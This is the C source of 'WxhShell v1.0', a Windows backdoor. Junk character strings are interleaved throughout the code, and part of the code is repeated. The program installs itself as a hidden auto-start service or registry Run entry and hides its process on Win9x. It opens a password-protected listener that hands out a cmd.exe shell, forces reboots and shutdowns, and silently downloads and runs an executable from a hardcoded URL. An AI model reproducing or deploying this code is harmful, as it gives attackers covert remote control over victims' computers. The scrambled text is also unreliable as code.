+:b DWORD BasePriority; P0Aas)! ULONG UniqueProcessId; 83X/"2-K ULONG InheritedFromUniqueProcessId; ,qYf#fU#7 } PROCESS_BASIC_INFORMATION; ={OCa1 KM E XT$p PROCNTQSIP NtQueryInformationProcess; gMCy$+? a3*.,%d static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i /C'0 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EyzY2>"^ }&=uZ: HANDLE hProcess; [CsM<:C PROCESS_BASIC_INFORMATION pbi; miWw6!() f)qPFM]%z HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zabw!@] if(NULL == hInst ) return 0; %jpH:-8'2 %OTQRe: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); La@\q[U{@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *:k~g].Iz NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zCyR<as7 vxF:vI# @ if (!NtQueryInformationProcess) return 0; kK08W3@&t bW}b<(y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ya;@<b if(!hProcess) return 0; `AB~YX%( '! #On/ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L,tZh0 ]U#JsMS CloseHandle(hProcess); 6_x}.bkIx= 3{I=.mUUm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wrhBH;3 if(hProcess==NULL) return 0; :A,O(
e?|d9;BO HMODULE hMod; ~>lOl/n 5 char procName[255]; &%@/Dwr unsigned long cbNeeded; RT1{+:l [9'|7fdU if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -Cg`x=G;z j'#)~>b CloseHandle(hProcess); 9@JlaY)0 "K/[[wX\b if(strstr(procName,"services")) return 1; // 以服务启动 xq8}6Q X^u4%O[' return 0; // 注册表启动 3}v0{c } nYo&x' <.y;&a o // 主模块 # w
i&n int StartWxhshell(LPSTR lpCmdLine) '
}y]mFpF { 9<+;hH8J_r SOCKET wsl; vQ?MM&6 BOOL val=TRUE; )*"T int port=0; +d|:s struct sockaddr_in door; 3Pw%[q=g 9;}L{yve if(wscfg.ws_autoins) Install(); ~5x4?2 ~NTDG port=atoi(lpCmdLine); g/fp45s ly9x1`?$ if(port<=0) port=wscfg.ws_port; m
T>b; #JHy[!4 WSADATA data; (jD'+ "? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
zZS>+O k8!hvJ)? if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; UUt~W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZJiuj! door.sin_family = AF_INET; $`-SVC door.sin_addr.s_addr = inet_addr("127.0.0.1"); yBUZVqqDa door.sin_port = htons(port); r@N39O*Wq LG"BfYy6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,AGM?&A closesocket(wsl); &ryl$!!3H return 1; .aVHd<M } 6{Krw\0 g6x/f<2x if(listen(wsl,2) == INVALID_SOCKET) { S,ouj;B closesocket(wsl); we6+2 return 1; ,(1vEE[9- } (,d4"C Wxhshell(wsl); yf0vR%,\ WSACleanup(); 5i}CzA96 7C,<iY return 0; #`fi2K&]j 0:7v/S!: } ]j%*"V r&H=i // 以NT服务方式启动 IG2 `9rR VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?0 KiR? { E7d~# DWORD status = 0; 2ID*U d* DWORD specificError = 0xfffffff; y@2vY[)3s #U\&i` serviceStatus.dwServiceType = SERVICE_WIN32; Huc3|~9 serviceStatus.dwCurrentState = SERVICE_START_PENDING; YD0vfwh serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yBXkN&1=%; serviceStatus.dwWin32ExitCode = 0; =|j*VF 2y" serviceStatus.dwServiceSpecificExitCode = 0; Zi2Eu4p l{ serviceStatus.dwCheckPoint = 0; E< io^ serviceStatus.dwWaitHint = 0; \FY/eQ*07 E-BOIy, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0XBBA0tq if (hServiceStatusHandle==0) return; E.zYi7YUKK XZUB*P}]D status = GetLastError(); /h}wM6pg if (status!=NO_ERROR) , u8ZS|9 { {Oc?C:aI= serviceStatus.dwCurrentState = SERVICE_STOPPED; t(uB66(_F serviceStatus.dwCheckPoint = 0; S20 nk.x serviceStatus.dwWaitHint = 0; "G i+zkVm serviceStatus.dwWin32ExitCode = status; YG}p$\R serviceStatus.dwServiceSpecificExitCode = specificError; &UJTy' SetServiceStatus(hServiceStatusHandle, &serviceStatus); &k%wOz1vM return; mTrI""Jsu; } .>AFf9P Q+y-*1
serviceStatus.dwCurrentState = SERVICE_RUNNING; LXTipWKz serviceStatus.dwCheckPoint = 0; V)WIfRs serviceStatus.dwWaitHint = 0; b7>-aem@I if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HzgQI } ?vL^:f[" }5fI*v // 处理NT服务事件,比如:启动、停止 )Bm^aMVl3 VOID WINAPI NTServiceHandler(DWORD fdwControl) j:de}!wc { &\WkJ}&PnA switch(fdwControl) n{qa ]3 { "R\\\I7u case SERVICE_CONTROL_STOP: ~]6Oz;~<3 serviceStatus.dwWin32ExitCode = 0; 0IT20.~ serviceStatus.dwCurrentState = SERVICE_STOPPED; fmZzBZ_ serviceStatus.dwCheckPoint = 0; Q9 x` Uy serviceStatus.dwWaitHint = 0; M Z|c7f&` { z</XnN SetServiceStatus(hServiceStatusHandle, &serviceStatus); N~Sue } ~,`\D7Z3 return; mTb2d?NS case SERVICE_CONTROL_PAUSE: w'5dk3$" serviceStatus.dwCurrentState = SERVICE_PAUSED; CwH)6uA break; .LGkr@P case SERVICE_CONTROL_CONTINUE: fd,}YAiX serviceStatus.dwCurrentState = SERVICE_RUNNING; 6f5sIg break; nCSd:1DY case SERVICE_CONTROL_INTERROGATE: D/!eov4" break; Js^r]=\F' }; @Z=y'yc'y. SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2\iD;Z#gM } v0H>iKh7 ^c[CyZ:a // 标准应用程序主函数 =w;xaxjL int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rm[rQ}: { +gD)Yd .x-Z+Rs{g // 获取操作系统版本 q9a
wzj OsIsNt=GetOsVer(); NZw[.s>n
GetModuleFileName(NULL,ExeFile,MAX_PATH); J~yd]L> *fuGVA // 从命令行安装 HpjIp. if(strpbrk(lpCmdLine,"iI")) Install(); =%nqMV(y CB{k;H // 下载执行文件 :'^dy%&UB if(wscfg.ws_downexe) { -c<1H)W if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rTH[?mkf4 WinExec(wscfg.ws_filenam,SW_HIDE); ?XTg%U
} MR l*rK /S=;DxZ,r if(!OsIsNt) { 2}xFv2X // 如果时win9x,隐藏进程并且设置为注册表启动 |Z^c#R HideProc(); s_Ge22BZ StartWxhshell(lpCmdLine); 1+PNy d } gp|7{}Q{ else i5~ /+~ if(StartFromService()) &oK/]lub // 以服务方式启动 R^Eu}?<f
StartServiceCtrlDispatcher(DispatchTable); +D{*L0$D" else 83 ^,'Z // 普通方式启动 "=Fn.r4I StartWxhshell(lpCmdLine); U~zN*2- ekk&TTp# return 0; MkV*+LXC } ZC\.};.
"ppb%= o4I!VK(C#s EuimZW\V =========================================== 1o"oa<*_ XKPt[$ab A](}"Pi!n ?D$b%G{ L!}j3(I ?\p%Mx? " 2"{]A;@ !A^w6Q;`V #include <stdio.h> 2O)Kn
q #include <string.h> wGQ hr=" #include <windows.h> %H 6ZfEO #include <winsock2.h> RT+30Q? #include <winsvc.h> hK9oe%kU~ #include <urlmon.h> >J75T1PH= J/&*OC #pragma comment (lib, "Ws2_32.lib") pfn#~gC_= #pragma comment (lib, "urlmon.lib") =x.v*W]F` ,;ruH^ #define MAX_USER 100 // 最大客户端连接数 BO\`m%8md #define BUF_SOCK 200 // sock buffer OaCj3d> #define KEY_BUFF 255 // 输入 buffer DSG +TA" O
|I:[S}, #define REBOOT 0 // 重启 m&jt[
#define SHUTDOWN 1 // 关机 q
]R @:a/ 17[t_T&Ak9 #define DEF_PORT 5000 // 监听端口 M0IqQM57N X|n[9h:% #define REG_LEN 16 // 注册表键长度 VFaK>gQ #define SVC_LEN 80 // NT服务名长度 >zx50e) u.K'"-xt4K // 从dll定义API 'FA)LuAok typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); . eag84_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eRqexqO! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,["|wqM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d~1"{WPSn 'N,NG$G2 // wxhshell配置信息 6Oqnb+ struct WSCFG { D30Z9_^%: int ws_port; // 监听端口 %m\G'hY2 char ws_passstr[REG_LEN]; // 口令 LVcy.kU@] int ws_autoins; // 安装标记, 1=yes 0=no ppo$&W
&z char ws_regname[REG_LEN]; // 注册表键名 r
L|BkN char ws_svcname[REG_LEN]; // 服务名 mt6uW+t/ char ws_svcdisp[SVC_LEN]; // 服务显示名 wTuRo
J char ws_svcdesc[SVC_LEN]; // 服务描述信息 bFdg'_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .+~kJ0~Y int ws_downexe; // 下载执行标记, 1=yes 0=no snzH}$Ls char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WMz|FFKVY char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1B]wSvP@ d.(]V2X.J }; =d4',[O }6{ )Jv // default Wxhshell configuration q>l kLHS struct WSCFG wscfg={DEF_PORT, C]cT*B^ "xuhuanlingzhe", !rmo*-=^= 1, T[9jTO?W2 "Wxhshell", 2i'-lM= "Wxhshell", btz3f9 "WxhShell Service", ,?N_67 "Wrsky Windows CmdShell Service", V`&*%xgGR "Please Input Your Password: ", l{SPV8[i 1, dE!=a|Pl "http://www.wrsky.com/wxhshell.exe", k)t8J \ "Wxhshell.exe" -+2xdLa63 }; d1_*!LW$ JRs[%w`kD // 消息定义模块 ;? QAPTz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q@yabuN@,j char *msg_ws_prompt="\n\r? for help\n\r#>"; Z42 Suy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r\- k/ 0 char *msg_ws_ext="\n\rExit."; 0lq4 char *msg_ws_end="\n\rQuit."; }@0. char *msg_ws_boot="\n\rReboot..."; sEi.f(WA char *msg_ws_poff="\n\rShutdown..."; z{+; '9C char *msg_ws_down="\n\rSave to "; FJH8O7 c] 9CN char *msg_ws_err="\n\rErr!"; k yA(m;r char *msg_ws_ok="\n\rOK!"; %lW:8ckL &zDFf9w2{ char ExeFile[MAX_PATH]; @uD{`@[ int nUser = 0; $>37PVVW HANDLE handles[MAX_USER]; l]=$< int OsIsNt; EF{'J8AQ <g1hdF0 SERVICE_STATUS serviceStatus; yFtf~8s3 SERVICE_STATUS_HANDLE hServiceStatusHandle; T:5%sN;#O ~g|0uO}. // 函数声明 B{7/A[$%C int Install(void); 5Jd {Ev int Uninstall(void); hf5SpwxLiH int DownloadFile(char *sURL, SOCKET wsh); }n8;A;axi int Boot(int flag); 4gt "dfy+ void HideProc(void); ON!G{=7 int GetOsVer(void); e[o
;l
int Wxhshell(SOCKET wsl); ,+evP=(cX void TalkWithClient(void *cs); p%_
:( int CmdShell(SOCKET sock); 3Ya6yz int StartFromService(void); 'UCx^- int StartWxhshell(LPSTR lpCmdLine); Gf.o{ JU+'UK630 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KftM4SFbK VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pu*UZcXY |W];v@b\y // 数据结构和表定义 X,CFY SERVICE_TABLE_ENTRY DispatchTable[] = LMj'?SuH { nECf2>Yp v {wscfg.ws_svcname, NTServiceMain}, N2Hb19/k {NULL, NULL} \`# 0,pLr }; ofv
1G=P %+J*oFwQu // 自我安装 S*@0%|Q4r int Install(void) U MIZ:*j { =xP{f<` char svExeFile[MAX_PATH]; .Q@'O b` HKEY key; V2skr_1 strcpy(svExeFile,ExeFile); [)c|oh% 84cH|j`w // 如果是win9x系统,修改注册表设为自启动 =i %w_e if(!OsIsNt) { RL8wSK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?saVk7Z[|5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ka2tr]+s RegCloseKey(key); <cjTn:w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aBLb i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L#bQ`t RegCloseKey(key); ay[*b_f return 0; GQWTQIl] } d'D\#+%>= } l_EI7mJ } A2S9h,t else { S*:w\nXP~
>ON.ftZi // 如果是NT以上系统,安装为系统服务 &$im^0`r_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rj=Om if (schSCManager!=0) DlO;EH { (LPD SC_HANDLE schService = CreateService S`.-D+.68 ( 6[7k}9`alz schSCManager, IQv>{h} wscfg.ws_svcname, F'*4:WD7 wscfg.ws_svcdisp, ,Yz+?SmSZ& SERVICE_ALL_ACCESS, =1Jo-!{{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VHNiTp SERVICE_AUTO_START, }Cf[nGh|B SERVICE_ERROR_NORMAL, C>ZeG
Vq svExeFile, !-~(*tn NULL, [GM<Wt0 NULL, ^q2zqC NULL, Fowh3go NULL, A[a+,TN{ NULL pBLO ); ??Ac=K\ if (schService!=0) 1^dWmxUZH { L,L7WObA CloseServiceHandle(schService); 5,Zn$zosJC CloseServiceHandle(schSCManager); X:/t>0e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P2F>iK#U strcat(svExeFile,wscfg.ws_svcname); G$<0_0GF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y.#+Yh[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *h6i9V%' RegCloseKey(key); ZZ7U^#RT return 0; 49GCj`As } cIjsUqKa } h65j,v6B CloseServiceHandle(schSCManager); \$"Xr } q5PYc.E([ } 3}Qh`+Yj] K4~Ox return 1; "dTXT } ~yN,F pD yjzNU5F // 自我卸载 Xi.?9J`@ int Uninstall(void) ]+P&Y: { W9"I++~f HKEY key; *6tN o-)^ 2oLa`33c1 if(!OsIsNt) { |&7,g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oJ:J'$W( RegDeleteValue(key,wscfg.ws_regname); = ;d<Ikj RegCloseKey(key); L4b4X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g!ww;_ RegDeleteValue(key,wscfg.ws_regname); cK&oC$[r- RegCloseKey(key); wP*Z/}Uum+ return 0; H;1}Nvvd } ;\N*iN#K } $EF@x}h:A } d.A0(*k, else { oDa{HP\O]W TZg7BLfy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _!7o if (schSCManager!=0) |sz9l/,lG { (i8t^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %3j5Q if (schService!=0) bE~lc}% { k7*q.2 0 if(DeleteService(schService)!=0) { $'q(Z@ CloseServiceHandle(schService); nCU4a1rZ CloseServiceHandle(schSCManager); L_,U*Jyo return 0; k9n93I|Cm } hLRQ) CloseServiceHandle(schService); Z]<_a)> } <h({+N CloseServiceHandle(schSCManager); L%FL{G
} hr5)$qZW } 30@ GFaab ^dqEOW return 1; 7_,gAE:kG } [@6iStRg7 }^muAr // 从指定url下载文件 z{\.3G int DownloadFile(char *sURL, SOCKET wsh) jxvVp*-=<j { nP^$p C HRESULT hr; HdM;c*K char seps[]= "/"; tANG ] char *token; /
<p HDY char *file; eORt
qX8* char myURL[MAX_PATH]; _q 8m$4 char myFILE[MAX_PATH]; @^Oww(I -bwl~3ZTi strcpy(myURL,sURL); OjZ@_V: token=strtok(myURL,seps); uZ+< while(token!=NULL) zlfm})+G { PBmt.yF file=token; 0*)79Sz token=strtok(NULL,seps);
U{EW +> } q<VhP2R (P ?9Jct GetCurrentDirectory(MAX_PATH,myFILE); T (qu~} strcat(myFILE, "\\");
cO:x{~ strcat(myFILE, file); {\B!Rjt[T send(wsh,myFILE,strlen(myFILE),0); 2xX7dl(cC send(wsh,"...",3,0); J5k% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iwbjjQPr if(hr==S_OK) V~;YV]1Y return 0; S4w/
kml3 else \
(,2^T'$J return 1; H<
j+-u4b t(Uoi~#[ } #XsqTK_nk +-hmITJv // 系统电源模块 Fr~xN!
int Boot(int flag) e\<I:7%Rg { ~J|0G6H HANDLE hToken; Gsb]e TOKEN_PRIVILEGES tkp; {8' 5 ' vwBG=9C if(OsIsNt) { p.G7Cs OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x?3p3[y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z(L>~+% tkp.PrivilegeCount = 1; t.cplJF&Ue tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _3hEYeh AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mIyaoIE|$ if(flag==REBOOT) { gP3[=a"\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )Ii=8etdv return 0; J?&9ofj& } .qZ<ROZ else {
:9<5GF( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L-XTIL$$ return 0; S'txY\ } R`c5-0A } >2a~hW|, else { Sz
=z
TPnO if(flag==REBOOT) { <*[(t;i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %X3T<3< return 0; D<MtLwH } &b_duWs else { n3(HA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f c91D]c return 0; 6vDgMfw } E~B
LY{3: } Fq8Z:;C8 [(C lvGx return 1;
KLX>QR@ } }5K\l
=6Z1yw7s // win9x进程隐藏模块 [lf[J&}X void HideProc(void) m\(a{x { w"~T5%p hYLu HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H_{Yr+p if ( hKernel != NULL ) FX{Sb" { ,-):&V:jF pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u URf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pu=YQ
#F' FreeLibrary(hKernel); mwt3EV5 } FGC[yz1g: Ae"B]Cxb_X return; ]]+"`t,- } avQwbAh[ R8HFyP // 获取操作系统版本 8qT/1b int GetOsVer(void) .L}ar7 { WaYT\CG7y OSVERSIONINFO winfo; zQ6otDZx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k]Yd4CC2 GetVersionEx(&winfo); E11"uWk` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CGQ`i return 1; %
74}H8q_z else k3&Wv return 0; \n}cx~j } [,VD^\ |g~.]2az // 客户端句柄模块 xu3qX" int Wxhshell(SOCKET wsl) Ra/S46$ { Ta_#Rg*! SOCKET wsh; =7a9~&| struct sockaddr_in client; sPut@4[S DWORD myID; z;T?2~g! Gd!y,n&s while(nUser<MAX_USER) 9BP-Iet { -{HA+ YL H int nSize=sizeof(client); 4oJ0,u wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OmsNo0OA if(wsh==INVALID_SOCKET) return 1; YtFtU;{ %
_ N-:.S handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JMXCyDy; if(handles[nUser]==0) yJ?6B LJi closesocket(wsh); ~x2azY2DP else YM-,L-HMA nUser++; -Wf 2m6t } aPRF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d+8Sypv^4* z hS\|tI return 0; o]@?QAu
} LqNsQu"; _k&vW(O=: // 关闭 socket :AL
nm0d void CloseIt(SOCKET wsh) l2i[wc"9 { Pwf":U) closesocket(wsh); "5=Gu1 nUser--; ^]K_k7`I ExitThread(0); ,#nyEE } 5-*/wKjLz Vf0m7BJc3 // 客户端请求句柄 _G@)Bj^* void TalkWithClient(void *cs) [:Sl^ Z&6M { -GH>12YP 'vBuQinn SOCKET wsh=(SOCKET)cs; o^mW`g8[ char pwd[SVC_LEN]; #>}cuC@ char cmd[KEY_BUFF]; A\LMmg char chr[1]; Q/I/>6M7UZ int i,j; H>%K}Fh G@s
rQum( while (nUser < MAX_USER) { F8nR.| *y0TtEd; if(wscfg.ws_passstr) { f-^JI*hj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #mFIZMTRd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J.$N<. //ZeroMemory(pwd,KEY_BUFF); EjrK.|I0 i=0; ^8OK.iC while(i<SVC_LEN) { \Cx2$<8 vr"O9L
w // 设置超时 0tK(:9S fd_set FdRead; xcty struct timeval TimeOut; <m'W{n%Pp FD_ZERO(&FdRead); 4S5U|n FD_SET(wsh,&FdRead); 9!;/+P TimeOut.tv_sec=8; @P@?KZ..v! TimeOut.tv_usec=0; PKJ w%.- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZwM(H[iqL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \I( g70 ;X , A|m$( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zcjh pwd=chr[0]; lxf+$Z`~: if(chr[0]==0xd || chr[0]==0xa) { *lc|iq\ pwd=0; u^, eHO break; DZ"'GQSg } W^k95%zBM i++; fS?}(7 } \ ,D>zF a]]eQ(xQ // 如果是非法用户,关闭 socket R.(PZC vS if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ir#]p9:x } [>![ViX pLSh
+*F send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FJCs$0 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7H.3.j(L ? fW['% while(1) { Ym% XCl g-? @a ZeroMemory(cmd,KEY_BUFF); @Z.BYC >e>%AMzo[ // 自动支持客户端 telnet标准 m~04I~8vk j=0; F/V-@SF while(j<KEY_BUFF) { bI+/0Xx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &n9&k
Em cmd[j]=chr[0]; "zj[v1K9-A if(chr[0]==0xa || chr[0]==0xd) { T[Lz4;TRk5 cmd[j]=0; [n4nnmM break; Wz%H?m:g# } jh(T?t$& j++; jI Entk } G>=Fdt7Oc 9A~w2z\G // 下载文件 L>L IN 1A if(strstr(cmd,"http://")) { U$|q]N send(wsh,msg_ws_down,strlen(msg_ws_down),0); e.\dqt~%y if(DownloadFile(cmd,wsh)) ml@;ngmp. send(wsh,msg_ws_err,strlen(msg_ws_err),0); #lR-?Uh else $Q"D>Qf{G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Fy"|M;2 } gFqF&t else { /% g+|C bmu] zJ switch(cmd[0]) { _o[fjd pT{is.RM // 帮助 :{+~i.* case '?': { rGQ2 ve send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bv<aB(c break; v*[UG^+) } & .0A% // 安装
E;}&2 a case 'i': { 9U8x&Z]P if(Install()) ,Qx]_gZ` send(wsh,msg_ws_err,strlen(msg_ws_err),0); Idb*,l|< else @R%*; )*F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tn#cVB3 break; fLnwA|n= } O}>@G // 卸载 l^Ob60)2 case 'r': { 793 15A if(Uninstall()) >TMd1?, send(wsh,msg_ws_err,strlen(msg_ws_err),0); )$RV) else d?&`ZVl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .W^B(y(tA break; /78]u^SW } ((C|&$@M // 显示 wxhshell 所在路径 fcxg6W' case 'p': { ^3[_4av char svExeFile[MAX_PATH]; 3_<l`6^Ns/ strcpy(svExeFile,"\n\r"); ").gPmC strcat(svExeFile,ExeFile); -'Ay(h send(wsh,svExeFile,strlen(svExeFile),0); 10fxK break; Vbt!, 2_) } ^R=`<jx // 重启 ;89kL] case 'b': { 8T1zL.u>q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VcGl8~#9 if(Boot(REBOOT)) vn+XY=Qnr send(wsh,msg_ws_err,strlen(msg_ws_err),0); gUNhN1= else { G &xtL closesocket(wsh); Pr1qX5> = ExitThread(0); _aR{B-E } ulxfxfd break; 1^LdYO?g' } ("\{=XAQ // 关机 Ie(i1?`A8 case 'd': {
&nDXn| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]f#s`.A~ if(Boot(SHUTDOWN)) L/Q[N^ (^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); o!:Z?.! else { `Jk0jj6Z closesocket(wsh); 0u1ZU4+EC ExitThread(0); QuqznYSY{ } dpTsTU!\ break; arDl2T,igF } 9Q=VRH: // 获取shell @oE
5JM case 's': {
xRe`Duy: CmdShell(wsh); gE _+r closesocket(wsh); y QClq{A ExitThread(0); /1MmOB break; "aOs#4N } RqgN<&g? // 退出 U xBd14-R_ case 'x': { kzKej"a; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2uOYuM[7gH CloseIt(wsh); (oi:lC@h* break; h{gFqkDoTI } `wXK&R<` // 离开 ]:OrGD" case 'q': { B~w$j/sWU send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,U3 closesocket(wsh); N$6e KJ] WSACleanup(); x=t(#R m exit(1); o5bp~.m<
break; 1ZI1+TDH } M@R"-$Z } +b(};(wL } i'm<{v 5Jbwl$mZ // 提示信息 ^1najUpQ_n if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $DoR@2~y } {1)A"lQu } w}gmVJ#p `G qe]ZE#" return; <Z]#vrq } /~Y\KOH| r,Uk)xa/^ // shell模块句柄 O;H6`JQ int CmdShell(SOCKET sock) j{%;n40$ { %rylmioW> STARTUPINFO si; m+0yf(w ZeroMemory(&si,sizeof(si)); dymq
Z< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .\ ;'>qy si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UJL2IF-x PROCESS_INFORMATION ProcessInfo; 1uAjy(y char cmdline[]="cmd"; :j]1wp+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C(ij_> return 0; wb0$FZzh } A`n>9|R j6GIB_ // 自身启动模式 a_RY Yj int StartFromService(void) riDb!oC { )A\
ZS<@Z7 typedef struct wXKtQ#o} { hq
3n&/ DWORD ExitStatus; =]%JTGdp( DWORD PebBaseAddress; vN Bg&m DWORD AffinityMask; |NuMDVd+s DWORD BasePriority; L[x`i'0B ULONG UniqueProcessId; 1Cw]~jh ULONG InheritedFromUniqueProcessId; }R%H?&P } PROCESS_BASIC_INFORMATION; .xN<<+|_v' vqSpF6F
q PROCNTQSIP NtQueryInformationProcess; {y9G
" z&6_}{2,] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8zp?WUb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ./#YUIC
h[W`P%xZ HANDLE hProcess; AELj"=RA PROCESS_BASIC_INFORMATION pbi; "+(|]q"W *'>_XX HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xDo0bR( if(NULL == hInst ) return 0; ev4[4T-(@ GC')50T J g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2 ? qC8eC g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $aV62uNf NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =Hg!@5]H mtmC,jnD if (!NtQueryInformationProcess) return 0; <tD,Uu{P O] @E8<?^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j'D%eQI,V if(!hProcess) return 0; ek][^^4o "`>6M&`U 